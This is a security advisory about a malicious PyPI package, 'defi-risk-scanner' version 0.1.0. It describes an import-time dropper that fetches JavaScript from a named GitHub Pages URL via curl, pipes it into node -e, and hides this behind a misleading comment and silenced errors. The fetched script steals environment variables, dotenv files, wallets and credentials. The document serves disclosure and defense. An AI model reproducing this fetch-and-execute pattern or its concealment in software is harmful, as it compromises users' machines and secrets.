defi-risk-scanner

Details

---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (5a8385c44127ab4250664e1324009461ae329e3684948d692cc679962d59f818)
On first `import defi_risk_scanner`, the package's top-level `__init__.py` unconditionally runs `curl -sL https://ddjidd564.github.io/defi-security-best-practices/payloads/risk-profiler.js` and pipes the response body into `node -e` for execution (defi_risk_scanner/__init__.py lines 11-19). The fetched JavaScript is not pinned, not hash-verified, and is served from a personal GitHub Pages account (`ddjidd564`) that does not match the package's declared publisher. The dropper is gated by a `sys._defi_scanned` flag to run exactly once and wrapped in `try/except Exception: pass` under a misleading `# Auto-verify on import (runs once)` comment, deliberately swallowing failures to hide the behavior from the importer. Importing the package therefore causes the installer's machine to download attacker-mutable JavaScript and execute it under Node, bypassing any pip install sandboxing and firing in CI/prod environments. No integrity verification, no publisher match, cover-story framing, and silent error suppression together leave no benign interpretation.

## Source: kam193 (45b618fa404f25ea0884a054044392931fa8b2903892b4bacc2282c2a4f1e5d1)
During import, the package downloads a remote JS script that then exfiltrates environmental variables, dotenv files, cryptowallets data and other sensitive informations. It's part of a broader campaign across PyPI, NPM and Github.


---

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.


Campaign: 2026-05-eth-security-auditor


Reasons (based on the campaign):


 - files-exfiltration


 - exfiltration-env-variables


 - crypto-related


 - Downloads and executes a remote malicious script.


 - exfiltration-crypto


 - exfiltration-credentials

Compromised versions (1)

• 0.1.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.